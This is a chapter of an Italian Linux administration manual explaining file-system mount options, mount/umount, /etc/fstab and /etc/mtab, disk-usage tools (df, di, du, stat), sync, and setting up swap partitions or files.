In occasione dell'innesto di un file system si possono definire alcune opzioni allo scopo di modificarne il comportamento predefinito. Quello che segue è un elenco parziale delle opzioni disponibili. Inizialmente vengono mostrate le opzioni che riguardano generalmente i file system compatibili con i sistemi operativi Unix e possono essere utilizzate anche in presenza di file system differenti quando ciò può avere significato.

Vedere *mount(8)* e *nfs(5)*.

Tabella 21.63. Opzioni valide per l'innesto di file system Unix.

Opzione	Descrizione
`remount`	Si tratta di un'opzione speciale che può essere usata solo quando il file system in questione è già innestato, allo scopo di reinnestarlo con delle opzioni differenti (quelle che vengono definite assieme a '**`remount`**').
`default`	Utilizza le impostazioni predefinite: '**`rw`**', '**`suid`**', '**`dev`**', '**`exec`**', '**`auto`**', '**`atime`**', '**`nouser`**', '**`async`**'.
`sync` `async`	Esegue le operazioni di lettura e scrittura sul file system in modo sincrono o asincrono. La modalità sincrona è più sicura, ma il suo utilizzo rallenta e appesantisce l'attività del disco.
`atime` `noatime`	Aggiorna o meno la data di accesso ai file. Può essere utile eliminare questo tipo di aggiornamento per ridurre l'attività del disco.
`auto` `noauto`	Permette o impedisce l'innesto automatico quando si utilizza il file '`/etc/fstab`'.
`dev` `nodev`	Considera validi, o esclude la validità dei file di dispositivo che dovessero essere contenuti nel file system.
`exec` `noexec`	Permette o impedisce l'esecuzione dei file con il permesso di esecuzione.
`suid` `nosuid`	Consente o impedisce che i bit SUID (*Set user ID*) e SGID (*Set group ID*) abbiano effetto. Disattivando questa possibilità (cioè utilizzando l'opzione '**`nosuid`**'), si vuole evitare che gli eseguibili contenuti nel file system che si intende innestare, possano ottenere privilegi particolari.
`user` `nouser`	Permette o impedisce all'utente comune di innestare e staccare il file system. L'opzione '**`user`**' implica l'attivazione automatica di '**`noexec`**', '**`nosuid`**' e '**`nodev`**', a meno che queste siano annullate da successive indicazioni contrarie come nella lista seguente: '**`user,exec,suid,dev`**'.
`ro`	Richiede un accesso in sola lettura.
`rw`	Richiede un accesso in lettura e scrittura.

La tabella successiva riguarda i file system FAT, innestati come tali (i tipi '**`msdos`**' e '**`vfat`**' rientrano in questa categoria).

Tabella 21.64. Opzioni valide per l'innesto di file system FAT.

Opzione	Descrizione
`uid=`***identificativo_utente***	Permette di stabilire il proprietario dei file e delle directory contenute nel file system. Se non viene specificato, si intende appartengano all'utente che esegue l'innesto.

Opzione	Descrizione
`gid=`***identificativo_gruppo***	Permette di stabilire il gruppo proprietario dei file e delle directory contenute nel file system. Se non viene specificato, si intende appartengano al gruppo dell'utente che esegue l'innesto.
`umask=`***maschera***	Permette di stabilire quali permessi inibire nel file system. Si tratta del solito numero ottale, composto da tre cifre numeriche, dove la prima cifra rappresenta i permessi per il proprietario, la seconda per il gruppo, la terza per il resto degli utenti. Se non viene specificato si utilizza il valore predefinito per la creazione dei file nei file system normali: '**`umask`**' appunto.
`quiet`	I file system FAT non sono in grado di memorizzare informazioni sulle proprietà e i permessi dei file. Di conseguenza, i programmi che tentano di modificare i valori predefiniti, ottengono una segnalazione di errore dalle funzioni di sistema. L'opzione '**`quiet`**' inibisce queste segnalazioni di errore.

Per quanto riguarda l'opzione '**`umask`**' dei file system FAT, si ricorda il significato dei valori che possono essere attribuiti:

- 1_8 rappresenta un permesso di esecuzione;
- 2_8 rappresenta un permesso di scrittura;
- 4_8 rappresenta un permesso di lettura.

Di conseguenza:

- 3_8 rappresenta un permesso di scrittura e di esecuzione;
- 5_8 rappresenta un permesso di lettura e di esecuzione;
- 6_8 rappresenta un permesso di lettura e di scrittura;
- 7_8 rappresenta un permesso di lettura, scrittura e di esecuzione.

Bisogna fare attenzione però che il valore che si inserisce rappresenta un impedimento all'uso di quel permesso, di conseguenza, la maschera 022_8 indica che è consentito al proprietario qualunque tipo di accesso (lettura, scrittura ed esecuzione), mentre agli altri utenti non è consentito l'accesso in scrittura.

Un caso particolare di opzione è '**`loop`**' che consente di accedere a file-immagine di dischi o partizioni. Questa particolarità viene descritta in un altro capitolo.

21.4.1.4 Utilizzo di «mount»

Il programma '**`mount`**' [22] permettere di innestare, un file system all'interno del sistema. Il programma opposto è '**`umount`**' e serve per staccare, un file system innestato precedentemente.

`mount` [***opzioni***] [***dispositivo***] [***directory***]

La forma normale e più semplice di utilizzo di '**`mount`**' è la seguente:

```
mount -t tipo_di_file_system dispositivo punto_di_innesto
```

In questo modo si richiede al kernel di innestare il file system del dispositivo specificato nella directory indicata (il punto di innesto).

Per conoscere la situazione dei dispositivi collegati attraverso questo sistema, si può usare la sintassi seguente:

```
mount [-t tipo_di_file_system]
```

Se viene specificato il tipo di file system, si ottiene un elenco limitato a quei dispositivi.

Il file system '`/proc/`' non è associato ad alcun dispositivo speciale; pertanto, quando se ne vuole eseguire l'innesto, si può utilizzare un nome di dispositivo arbitrario, per esempio '**`proc`**'. Lo stesso vale per il file system '`/sys/`', con la differenza che questo tipo ha il nome '**`sysfs`**'.

La maggior parte delle unità di memorizzazione sono indicate nel modo consueto utilizzando nomi di file di dispositivo ('`/dev/...`'), ma ci possono essere altre possibilità, come quando si vuole innestare un file system di rete o NFS, dove si usa la forma '***nodo*:/*directory***'.

Il file '`/etc/fstab`' viene utilizzato per automatizzare l'innesto dei file system più importanti al momento dell'avvio del sistema. Questo viene letto utilizzando la forma seguente:

```
mount -a [-t tipo_di_file_system]
```

Di solito si trova una chiamata di questo tipo all'interno di uno degli script che compongono la procedura di inizializzazione del sistema ('`/etc/init.d/*`' oppure '`/etc/rc.d/rc*`'). La presenza del file di configurazione '`/etc/fstab`' è utile anche per semplificare l'innesto (e così l'operazione inversa) di un file system che sia stato previsto al suo interno. Diventa sufficiente una delle due forme seguenti:

```
mount dispositivo
```

```
mount punto_di_innesto
```

In linea di principio, solo l'utente '**`root`**' può innestare un file system. Per permettere agli utenti comuni di innestare e staccare un'unità di memorizzazione (come nel caso di un disco ottico o di una memoria solida esterna), la si può indicare nel file '`/etc/fstab`' con l'opzione '**`user`**'. Nell'esempio seguente, si vede un record (una riga) di '`/etc/fstab`' attraverso il quale si definisce l'innesto facoltativo di un disco ottico, avente un file system ISO 9660, in sola lettura, con la possibilità anche per gli utenti comuni di eseguire l'operazione:

```
/dev/sr0   /disc   iso9660   ro,user,noauto,unhide
```

In tal modo, qualunque utente ha la possibilità di eseguire uno dei due possibili comandi seguenti:

$ **mount /dev/sr0** [*Invio*]

$ **mount /disc** [*Invio*]

La coppia di programmi '**mount**' e '**umount**' mantiene una lista dei file system innestati correntemente. Quando '**mount**' viene avviato senza argomenti si ottiene l'emissione del contenuto di questa lista.

Per approfondire l'utilizzo di '**mount**', si veda anche la pagina di manuale *mount(8)*.

Tabella 21.66. Alcune opzioni.

Opzione	Descrizione
-a	Utilizza '/etc/fstab' per eseguire automaticamente l'operazione: vengono innestati tutti i file system a esclusione di quelli segnati come '**noauto**'.
-t [no] ***tipo_di_file_system*** [,...]	Specifica il tipo di file system. Sono riconosciuti i nomi indicati nella tabella 21.62 e anche nella pagina di manuale *mount(8)*, purché il kernel sia compilato includendone le funzionalità. Se il nome del tipo di file system viene preceduto dalla sigla '**no**', si intende che quel tipo deve essere escluso. Se si vogliono indicare più tipi di file system questi vengono separati da virgole. Quando si usa questa opzione con l'indicazione di più tipi, o con il prefisso '**no**', lo si fa quasi sempre con l'uso dell'opzione '**-a**', come nell'esempio seguente: '**mount -a -t nomsdos,nonfs**' In questo caso si intende eseguire l'innesto di tutti i file system indicati all'interno di '/etc/fstab', a esclusione dei tipi '**msdos**' e '**nfs**'.
-o ***opzione_di_file_system*** [,...]	Questa opzione permette di specificare uno o più nomi di opzioni, separati da virgole, legati alla gestione del file system. Un elenco parziale di questi nomi si trova nella sezione 21.4.1.3.

Segue la descrizione di alcuni esempi.

- # **mount -t ext4 /dev/sda2 /mnt** [*Invio*]

  Innesta il file system di tipo Ext4 contenuto nella seconda partizione della prima unità, a partire dalla directory '/mnt'.

- # **mount -t vfat /dev/sdb1 /usb** [*Invio*]

  Innesta il file system di tipo Dos-VFAT (Dos-FAT con le estensioni per i nomi lunghi) contenuto nella prima partizione della seconda unità, a partire dalla directory '/usb/'.

- # **mount -t nfs roggen.brot.dg:/pubblica /roggen** [*Invio*]

  Innesta il file system di rete offerto dall'elaboratore *roggen.brot.dg*, corrispondente alla sua directory '/pubblica/' (e discendenti), nella directory locale '/roggen/'.

21.4.1.5 Utilizzo di «umount»

Il programma '**umount**'[23] esegue l'operazione inversa di '**mount**': separa i file system. L'operazione può avvenire solo quando non ci sono più attività in corso su quei file system, altrimenti l'operazione fallisce.

```
umount [opzioni] [dispositivo] [directory]
```

L'opzione '**-a**' ha un significato simile a quella di '**mount**', ma serve a eseguire il distacco di tutti i file system che in un certo momento risultano innestati. Per sapere quali sono gli innesti in corso, si avvale del contenuto del file '/etc/mtab', il quale dovrebbe risultare aggiornato in tal senso.

Tabella 21.67. Alcune opzioni.

Opzione	Descrizione
-a	Vengono separati tutti i file system indicati in '/etc/mtab'.
-t [no] *tipo_di_file_system* [,...]	Indica che l'azione deve essere eseguita solo sui file system specificati. Se si usa il prefisso '**no**', l'azione si deve compiere su tutti i file system a esclusione di quelli indicati.

Segue la descrizione di alcuni esempi.

- # **umount /dev/sda2** [*Invio*]

  Separa il file system innestato precedentemente, riferito al dispositivo '/dev/sda2'.

- # **umount /mnt** [*Invio*]

  Separa il file system innestato precedentemente nella directory '/mnt'.

- # **umount -a** [*Invio*]

  Separa tutti i file system che trova annotati nel file '/etc/mtab', escluso il file system '**proc**' e '**sysfs**'.

  Il programma '**umount**' non separa i file system che sono utilizzati in qualche modo, di conseguenza è improbabile che il comando '**umount -a**' possa eseguire il distacco del file system principale. Nella fase di arresto del sistema, questo viene reinnestato in sola lettura prima dell'arresto totale.

21.4.1.6 File «/etc/fstab»

Il file '/etc/fstab' viene utilizzato per definire le caratteristiche e le directory di inserimento (punti di innesto) dei vari file system, usati di frequente nel sistema. Si tratta di un file che viene solo letto dai programmi e il suo aggiornamento viene fatto in modo manuale dall'amministratore del sistema.

Il file è organizzato in record (corrispondenti alle righe) divisi in campi separati da uno o più spazi (inclusi i caratteri di tabulazione). Le righe che iniziano con il simbolo '**#**', le righe vuote e quelle bianche sono ignorate e trattate eventualmente come commenti.

1. Il primo campo definisce il tipo di dispositivo o il file system remoto da innestare.
2. Il secondo campo definisce la directory che funge da punto di innesto per il file system.
3. Il terzo campo definisce il tipo di file system e ne viene indicato il nome in base alla tabella 21.62.

   Se in questo campo viene indicato il termine '**`ignore`**', si intende fare riferimento a una partizione presente, ma inutilizzata, per la quale non si vuole effettuare alcun innesto. Di fatto, i record che contengono questa indicazione vengono ignorati.
4. Il quarto campo descrive le opzioni speciali per il tipo di innesto che si intende eseguire. Si tratta delle stesse opzioni speciali descritte nella pagina di manuale *mount(8)* e anche nella sezione 21.4.1.4 in occasione della spiegazione dell'uso dell'opzione '**`-o`**' (a esclusione dell'opzione '**`remount`**').
5. Il quinto campo viene utilizzato per determinare quali file system possono essere utilizzati per lo scarico dei dati (*dump*).[24]
6. Il sesto campo viene utilizzato dal programma '**`fsck`**' per determinare l'ordine in cui il controllo dell'integrità dei file system deve essere effettuato nel momento dell'avvio del sistema.

   Il file system principale dovrebbe avere il numero uno in questo campo, mentre gli altri, il numero due (o anche valori superiori). Se questo campo contiene il valore zero, significa che il file system in questione non deve essere controllato.

Nell'esempio seguente, tutte le unità che non sono unite stabilmente al corpo fisico dell'elaboratore, hanno l'opzione '**`noauto`**' che impedisce l'innesto automatico all'avvio del sistema. Queste possono essere attivate solo manualmente, attraverso '**`mount`**', con il vantaggio di potere indicare semplicemente la directory di inserimento (il punto di innesto) o il nome del file di dispositivo.

```
# nome               Innesto      Tipo     Opzioni             Dump  Check

/dev/sda3            /            ext4     defaults             0      1
/dev/sdb1            /home        ext4     defaults             0      2
proc                 /proc        proc     defaults             0      0
sys                  /sys         sysfs    defaults             0      0
/dev/sda2            none         swap     sw
/dev/sda1            /mnt/dosc    vfat     quiet,umask=000      0      0
/dev/sdc             /mnt/dosd    vfat     user,noauto,quiet    0      0
/dev/sdc1            /mnt/scsimo  ext4     user,noauto          0      0
/dev/sr0             /mnt/disc    iso9660  ro,user,noauto       0      0
roggen.brot.dg:/     /mnt/roggen  nfs      ro,user,noauto       0      0
/dev/fd0             /mnt/dosa    vfat     user,noauto,quiet    0      0
```

- La partizione corrispondente al file di dispositivo '`/dev/sda3`' viene utilizzata come file system principale; pertanto è il primo a essere attivato. L'ultimo campo (*check*) riporta il valore uno, perché si vuole fare in modo che questo file system venga controllato per primo al momento dell'avvio del sistema.
- La partizione corrispondente al file di dispositivo '`/dev/sdb1`' viene utilizzata come file system per contenere le directory personali degli utenti. L'ultimo campo riporta il

valore due, perché si vuole fare in modo che questo file system venga controllato per secondo al momento dell'avvio del sistema, dopo il controllo del file system principale.

- Il file system virtuale '**proc**' viene innestato correttamente nella directory '/proc/'. Nel campo del nome, la sigla '**proc**' non significa nulla, ma è preferibile al consueto '**none**' che si usa spesso in questo caso. Lo stesso vale per il file system virtuale '**sysfs**' che viene innestato nella directory '/sys/'.

- La partizione corrispondente al file di dispositivo '/dev/sda1' contiene un file system Dos-FAT con la gestione dei nomi lunghi. In particolare, viene permesso a ogni utente di accedere ai suoi file in tutti i modi possibili.

- Il file di dispositivo '/dev/sdc' rappresenta un cosiddetto *superfloppy*, cioè un'unità rimovibile che non viene suddivisa in partizioni. Trattandosi di un disco rimovibile viene concesso a tutti gli utenti di eseguire l'innesto e questo non viene effettuato automaticamente al momento dell'avvio del sistema.

- La partizione corrispondente al file di dispositivo '/dev/sdc1' rappresenta la stessa unità rimovibile, ma in questo caso viene considerato l'accesso alla prima partizione di tale unità. Anche qui viene concesso agli utenti comuni di innestare e staccare la partizione.

- Il file '/dev/sr0' rappresenta il lettore di un disco ottico (CD, DVD o BR) in cui si prevede di usare solo dischi con file system di tipo ISO 9660. In particolare, viene specificato che l'accesso può avvenire in sola lettura.

- L'elaboratore *roggen.brot.dg* condivide tutto il proprio file system (a partire dalla directory radice) attraverso il protocollo NFS. Viene consentito l'accesso in sola lettura.

- L'unità a dischetti, corrispondente al file di dispositivo '/dev/fd0', può essere utilizzata da tutti gli utenti e si prevede di accedere sempre solo al formato Dos-FAT con l'estensione per i nomi lunghi.

21.4.1.7 File «/etc/mtab»

Il file '/etc/mtab' ha la stessa struttura di '/etc/fstab', ma viene gestito automaticamente da '**mount**' e '**umount**', con lo scopo di rappresentare i file system innestati nella struttura generale. Non deve essere modificato e dovrebbe essere creato automaticamente all'avvio del sistema.

In un sistema GNU/Linux, il file virtuale '/proc/mounts' riproduce sostanzialmente le stesse informazioni che possono apparire all'interno di '/etc/mtab'. Per questa ragione, quando la directory '/etc/' deve funzionare in sola lettura, si utilizza spesso, al posto del file '/etc/mtab', un collegamento simbolico a '/proc/mounts'. Tuttavia, in condizioni normali questo non si fa, perché non tutti i programmi che hanno bisogno di accedere a '/etc/mtab' si trovano a proprio agio con tale raggiro.

21.4.1.8 Utilizzo di «df»

Il programma '**df**',[25] ovvero *Disk free*, permette di conoscere lo spazio a disposizione di una o di tutte le partizioni che risultano innestate. Se non vengono indicati i nomi dei file di dispositivo, si ottiene l'elenco completo di tutti quelli che sono attivi, altrimenti l'elenco si riduce ai nomi specificati.

```
df [opzioni] [dispositivo...]
```

L'unità di misura che esprime questo spazio è in blocchi la cui dimensione cambia a seconda delle opzioni utilizzate oppure dalla presenza di una variabile di ambiente: ***POSIXLY_CORRECT***. La presenza di questa fa sì che, se non viene usata l'opzione '**-k**', i blocchi siano di 512 byte come prevede lo standard POSIX. Diversamente, il valore predefinito dei blocchi è di 1 024 byte.

Tabella 21.69. Alcune opzioni.

Opzione	Descrizione
`-a` `--all`	Emette le informazioni relative a tutti i dispositivi attivi, anche di quelli che normalmente vengono ignorati.
`-h` `--human-readable`	Aggiunge una lettera alla dimensione, in modo da chiarire il tipo di unità di misura utilizzato.
`-i` `--inodes`	Emette il risultato indicando l'utilizzo e la disponibilità di inode, invece che fare riferimento ai blocchi. Questa informazione è utile solo per i file system che utilizzano una struttura a inode.
`-b` `--byte`	Emette le dimensioni in byte e non in kibibyte (simbolo: «Kibyte»).
`-k` `--kilobytes`	Emette le dimensioni in kibibyte. Questa opzione fa riferimento all'unità di misura predefinita, ma permette di fare ignorare a '**df**' la presenza eventuale della variabile ***POSIXLY_CORRECT***.
`-m` `--megabytes`	Emette le dimensioni in mebibyte (simbolo: «Mibyte»).

21.4.1.9 Utilizzo di «di»

Il programma '**di**', [26] ovvero *Disk information*, permette di ottenere informazioni simili a quelle di '**df**', con la possibilità di specificare con più libertà il formato con cui queste devono essere visualizzate:

```
di [opzioni] [file...]
```

Per individuare i dischi e le partizioni, è sufficiente indicare dei file che si trovano al loro interno, altrimenti si ottiene lo stato di tutti i dischi e le partizioni che costituiscono l'albero attuale del file system.

Tabella 21.70. Alcune opzioni.

Opzione	Significato mnemonico	Descrizione
`-a`	*all*	Emette le informazioni relative a tutti i dispositivi attivi, compresi quelli che non contengono alcunché, come '`/proc/`'.
`-dx`	*display-size*	Mostra i valori in multipli di quanto specificato, attraverso la lettera ***x***: '**`p`**' sta per POSIX (512 byte), '**`k`**' sta per kibibyte, '**`m`**' sta per mebibyte, '**`g`**' sta per gibibyte, ecc.
`-dg` `-g`	*gibibyte*	Mostra i valori in gibibyte.
`-dm` `-m`	*mebibyte*	Mostra i valori in mebibyte.
`-km` `-k`	*kibibyte*	Mostra i valori in kibibyte.

Tra le opzioni disponibili è possibile anche usare '**`-f`**' che consente di specificare un formato libero di visualizzazione delle informazioni. Questa e altre opzioni non vengono mostrate; per approfondire l'uso di questo programma si può consultare la pagina di manuale *di(1)*. Vengono mostrati alcuni esempi.

- `$` **`di`** [*Invio*]

  ```
  Filesystem           Mount                Megs     Used    Avail %used fs Type
  /dev/sda1            /                  8130,1   4728,8   2988,3   63%  auto
  tmpfs                /dev/shm            219,4      0,0    219,4    0%  tmpfs
  172.21.254.254:/home /home            113337,9  47517,2  60063,4   47%  nfs
  ```

  Mostra le informazioni sulle diverse porzioni che compongono l'insieme del file system complessivo, ignorando eventualmente ciò che non contiene alcunché.

- `$` **`di -a`** [*Invio*]

  ```
  Filesystem           Mount                Megs     Used    Avail %used fs Type
  /dev/sda1            /                  8130,1   4728,8   2988,3   63%  auto
  tmpfs                /dev/shm            219,4      0,0    219,4    0%  tmpfs
  172.21.254.254:/home /home            113337,9  47517,2  60063,4   47%  nfs
  proc                 /proc                 0,0      0,0      0,0    0%  proc
  usbfs                /proc/bus/usb         0,0      0,0      0,0    0%  usbfs
  sysfs                /sys                  0,0      0,0      0,0    0%  sysfs
  ```

  Mostra le informazioni sulle diverse porzioni che compongono l'insieme del file system complessivo, includendo anche ciò che non contiene alcunché (come il file system '`/proc/`').

- `$ di -dg` [*Invio*]

```
Filesystem           Mount                Gigs      Used     Avail %used fs Type
/dev/sda1            /                     7,9       4,6       2,9  63%  auto
tmpfs                /dev/shm              0,2       0,0       0,2   0%  tmpfs
172.21.254.254:/home /home               110,7      46,4      58,6  47%  nfs
```

  Mostra le informazioni numeriche in gibibyte.

- `$ di -dg mio_file` [*Invio*]

```
Filesystem           Mount                Gigs      Used     Avail %used fs Type
172.21.254.254:/home /home               110,7      46,4      58,6  47%  nfs
```

  Mostra le informazioni riferite al file system contenente il file '`mio_file`', il quale in questo caso risulta essere collocato presso un elaboratore remoto.

21.4.1.10 Utilizzo di «du»[27]

Il programma di servizio '**du**'[28] (*Disk usage*) emette una sorta di statistica dell'utilizzo dello spazio da parte di un elenco di file o directory (in base al loro contenuto):

```
du [opzioni] [file...]
```

L'unità di misura che esprime questo spazio è in blocchi, la cui dimensione cambia a seconda delle opzioni utilizzate oppure dalla presenza di una variabile di ambiente: ***POSIXLY_CORRECT***. Se esiste e non viene usata l'opzione '**-k**', fa sì che i blocchi siano di 512 byte come prevede per questo lo standard POSIX. Diversamente, il valore predefinito dei blocchi è di 1 024 byte.

Tabella 21.75. Alcune opzioni.

Opzione	Descrizione
`-a` `--all`	Emette il conteggio riferito a tutti i file, non solo alle directory.
`-b` `--byte`	Emette le dimensioni in byte.
`-k` `--kilobytes`	Emette le dimensioni in kibibyte (simbolo: «Kibyte»). Questa opzione fa riferimento all'unità di misura predefinita, ma permette di fare ignorare a '**du**' la presenza eventuale della variabile ***POSIXLY_CORRECT***.
`-m` `--megabytes`	Emette le dimensioni in mebibyte (simbolo: «Mibyte»).
`-h` `--human-readable`	Aggiunge una lettera alla dimensione, in modo da chiarire il tipo di unità di misura utilizzato.

Opzione	Descrizione
`-c` `--total`	Emette anche un totale generale finale.
`-s` `--summarize`	Emette solo un totale per ogni argomento.
`-S` `--separate-dirs`	Emette la dimensione delle directory in modo separato, senza includere lo spazio utilizzato dalle sottodirectory.
`-x` `--one-file-system`	Salta il conteggio delle directory che si trovano in un file system diverso da quello di partenza.

21.4.1.11 Utilizzo di «stat»

Il programma '**`stat`**' [29] permette di conoscere alcune informazioni generali su di un file, su di una directory, o sul file system in cui questi si trovano:

`stat` [*opzioni*] *file*...

Le informazioni che si ottengono possono essere organizzate anche attraverso un modello libero, usando le opzioni appropriate, in modo da facilitare l'acquisizione di queste informazioni da parte di un altro programma.

Tabella 21.76. Alcune opzioni.

Opzione	Descrizione
`-f` `--filesystem`	Invece di mostrare le informazioni relative al file o alla directory indicati, si ottengono quelle del file system che li contiene.
`-L` `--dereference`	Nel caso venga indicato un collegamento simbolico con questa opzione si ottengono le informazioni al file, alla directory, o al file system a cui punta.
`-t` `--terse`	Mostra le informazioni in modo essenziale, per facilitarne la cattura attraverso uno script.

Tra le opzioni che appaiono nella tabella precedente, viene omessa '**`-c`**', che consentirebbe di configurare il modo in cui si vogliono ottenere le informazioni. Per questo si deve consultare il documento *info stat*, oppure la pagina di manuale *stat(1)*.

Vengono mostrati alcuni esempi senza commentarli.

`$` **`stat mio_file`** [*Invio*]

```
  File: `mio_file'
  Size: 33              Blocks: 8          IO Block: 8192   regular file
Device: ah/10d  Inode: 4112856     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1001/ daniele)   Gid: ( 1001/ daniele)
Access: 2004-09-17 09:40:22.000000000 +0200
Modify: 2004-09-17 09:40:50.000000000 +0200
Change: 2004-09-17 09:40:50.000000000 +0200
```

$ **stat -t mio_file** [*Invio*]

```
mio_file 33 8 81a4 1001 1001 a 4112856 1 0 0 1095406822 1095406850 ↩
↪1095406850 8192
```

$ **stat -f mio_file** [*Invio*]

```
  File: "mio_file"
    ID: 0        Namelen: 255     Type: nfs
Blocks: Total: 4206189    Free: 3662077    Available: 3448412    Size: 8192
Inodes: Total: 4276224    Free: 4113427
```

$ **stat -f /** [*Invio*]

```
  File: "/"
    ID: 0        Namelen: 255     Type: ext2/ext3
Blocks: Total: 8412378    Free: 7525313    Available: 7097984    Size: 4096
Inodes: Total: 4276224    Free: 4134421
```

21.4.2 Memoria cache

La memoria cache dei dischi serve a ridurre l'attività di questi, effettuando le modifiche a intervalli regolari o quando diventa indispensabile per altri motivi. L'esistenza di questo tipo di organizzazione, basato su una «memoria trattenuta», è il motivo principale per cui si deve arrestare l'attività del sistema prima di spegnere l'elaboratore.

La memoria cache viene gestita automaticamente dal kernel, con uno scarico a intervalli regolari; tuttavia, esiste la possibilità di richiedere espressamente l'aggiornamento completo delle unità di memorizzazione innestate.

Il programma '**sync**'[30] permette di scaricare nei dischi i dati contenuti nella memoria cache. Viene usato solitamente dalla procedura di arresto del sistema per garantire che tutti i dati siano registrati correttamente su disco prima dello spegnimento fisico dell'elaboratore.

sync [***opzioni***]

Può essere utilizzato in caso di emergenza, quando per qualche ragione non si può attendere il completamento della procedura di arresto del sistema, o per qualunque altro motivo. Di solito non si usano opzioni.

21.5 Memoria virtuale

La memoria virtuale è la memoria centrale della macchina virtuale che il sistema operativo realizza. In pratica, questa memoria virtuale si avvale della memoria centrale fisica e, possibilmente, di spazio all'interno di unità di memorizzazione di massa.[31] Il meccanismo che consente l'estensione della memoria reale si basa sullo scambio di porzioni di memoria centrale nella memoria di massa. Il termine inglese *swap* deriva da questa continua operazione di scambio.

Utilizzando un sistema GNU/Linux comune, se non si dispone di una quantità di memoria centrale abbastanza grande, è necessario attivare il meccanismo di scambio della memoria virtuale. La tabella ??t swap?? elenca i programmi e i file a cui si accenna in questo capitolo.

21.5.1 Creazione di una partizione o di un file di scambio

Con GNU/Linux è possibile attivare la gestione della memoria virtuale utilizzando due tipi di aree nella memoria di massa: una partizione dedicata oppure un file. La partizione di scambio è preferibile al file di scambio; sia per le prestazioni, sia per il fatto che si evitano complicazioni nel momento dell'arresto del sistema.

La scelta della dimensione di una partizione di scambio è importante perché, una volta deciso, questa normalmente non può più essere cambiata facilmente. In generale, per la partizione di scambio è conveniente utilizzare una dimensione pari ad **almeno** la stessa quantità della memoria RAM effettiva, con un minimo di circa 1 Gibyte. In pratica, il fatto di riservare uno spazio più grande del necessario per la memoria virtuale, non può essere dannoso; al massimo si traduce in uno spreco di spazio nella memoria di massa.

Prima di poter attivare la gestione della memoria virtuale è necessario creare lo spazio in cui devono risiedere le aree di scambio relative. Ciò vale anche nel caso in cui per questo si vogliano utilizzare dei file.

Va osservato che la questione della memoria centrale estesa virtualmente, con lo scambio di porzioni di memoria di massa, riguarda esclusivamente le unità a disco magnetico. Lo sviluppo tecnologico che porta a rimpiazzare i dischi magnetici con l'uso di memorie solide è lo stesso che offre la disponibilità di memorie volatili di grandi capacità; rendendo così inutile lo scambio della memoria.

21.5.1.1 Partizione di scambio

La creazione di una partizione di scambio per la memoria, procede nello stesso modo con cui si crea una qualunque altra partizione. In questo caso non c'è la necessità di eseguire un avvio del sistema operativo su tale partizione, di conseguenza si possono usare anche partizioni logiche contenute in partizioni estese senza problemi di alcun tipo.

La creazione della partizione richiede l'utilizzo di '**`fdisk`**', oppure di un programma equivalente, ricordando però di assegnare alla partizione il tipo corretto di identificatore: 82_{16} (Linux-swap).

21.5.1.2 File di scambio

La caratteristica necessaria di un file destinato a fungere da area di scambio è quella di essere continuo; non può quindi essere frammentato. Il modo corretto per creare un file con queste caratteristiche è quello di utilizzare il programma '**dd**' nel modo seguente:

```
dd if=/dev/zero of=file_da_creare bs=4096 count=dimensione
```

In questo caso, la dimensione fa riferimento a blocchi di 4 Kibyte, pari a quanto stabilito con l'opzione '**bs=4096**'. In effetti, la dimensione ottimale di un file del genere è un multiplo di 4 Kibyte perché le pagine di memoria, utilizzate durante lo scambio della stessa, sono di questa dimensione.

Per esempio, volendo creare il file di scambio '/swap1' di 1 Gibyte si può procedere come segue:

dd if=/dev/zero of=/swap1 bs=4096 count=262144 [*Invio*]

Se tutto si conclude come desiderato, si ottiene una risposta del tipo seguente:

```
262144+0 records in
262144+0 records out
```

21.5.2 Inizializzazione

Un'area di scambio deve essere inizializzata prima di poterla attivare per il suo scopo, con tutta l'attenzione necessaria per evitare di intervenire nella partizione o nel file sbagliato (cosa che ne provocherebbe la cancellazione). Va anche osservato che non si può inizializzare un'area di scambio mentre questa è in uso, perché sarebbe come intervenire nella stessa memoria centrale, cancellandone arbitrariamente il contenuto.

Il programma '**mkswap**'[32] permette di predisporre una partizione o un file per lo scambio della memoria virtuale. In generale è preferibile utilizzare una partizione dedicata che può essere creata con l'aiuto di '**fdisk**', definendola come Linux-swap.

```
mkswap [-c] dispositivo [dimensione_in_blocchi]
```

Il modello sintattico suggerisce l'uso dell'opzione '**-c**' per il controllo dell'area da usare per lo scambio della memoria, prima della sua attivazione; inoltre è possibile specificare espressamente la dimensione, in blocchi da 1024 byte, nel caso questa non fosse determinabile in modo automatico. Segue la descrizione di alcuni esempi.

- # **mkswap -c /dev/sda3 1048576** [*Invio*]

  Viene inizializzata la partizione di scambio '/dev/sda3' specificando una dimensione di 1048576 blocchi, pari a 1 Gibyte.

- # **mkswap -c /swap1 1048576** [*Invio*]

Inizializza il file di scambio '/swap1' creato precedentemente con una dimensione di 1 Gibyte.

21.5.3 Attivazione e disattivazione della memoria virtuale

Per fare in modo che un'area di scambio venga utilizzata per il suo scopo, occorre attivarne la gestione. L'operazione è compiuta dal programma '**swapon**'. Il meccanismo è simile a quello dell'attivazione di un file system che si ottiene con l'innesto delle unità o delle partizioni. Per questo motivo, l'attivazione delle aree di scambio può essere gestita automaticamente attraverso la configurazione del file '/etc/fstab'.

21.5.3.1 Utilizzo di «swapon» e «swapoff»

Il programma '**swapon**'[33] attiva l'utilizzo di un dispositivo, o di un file, per la gestione della memoria virtuale. Di solito si tratta di una partizione o un di file di scambio creati e inizializzati appositamente. Normalmente, '**swapon**' viene chiamato da uno degli script della procedura di inizializzazione del sistema e questo allo scopo di attivare le aree di scambio previste all'interno del file '/etc/fstab'.

```
swapon [opzioni] [dispositivo|file]
```

Il programma '**swapoff**'[34] è l'opposto di '**swapon**' e si occupa di disattivare la memoria virtuale su un particolare dispositivo o file per lo scambio, oppure su tutti quelli indicati nel file '/etc/fstab'. Utilizza la stessa sintassi e le stesse opzioni di '**swapon**'. In effetti si tratta normalmente solo di un collegamento al programma '**swapon**' che si comporta così quando viene avviato con questo nome: '**swapoff**'.

```
swapoff [opzioni] [dispositivo|file]
```

Le partizioni o i file di scambio attivati manualmente (che quindi non sono annotati nel file '/etc/fstab') devono essere disattivati manualmente prima della conclusione dell'attività di GNU/Linux.

In generale è importante l'opzione '**-a**', con la quale viene attivata, o disattivata, la memoria virtuale riferita a tutti i dispositivi indicati come file system '**swap**' all'interno del file '/etc/fstab'. Di conseguenza, se si usa questa opzione non deve essere indicato alcun dispositivo negli argomenti.

Segue la descrizione di alcuni esempi.

- `# swapon /dev/sda3` [*Invio*]

  Utilizza la partizione '/dev/sda3' come memoria virtuale.

- `# swapon /swap1` [*Invio*]

  Utilizza il file '/swap1' come memoria virtuale.

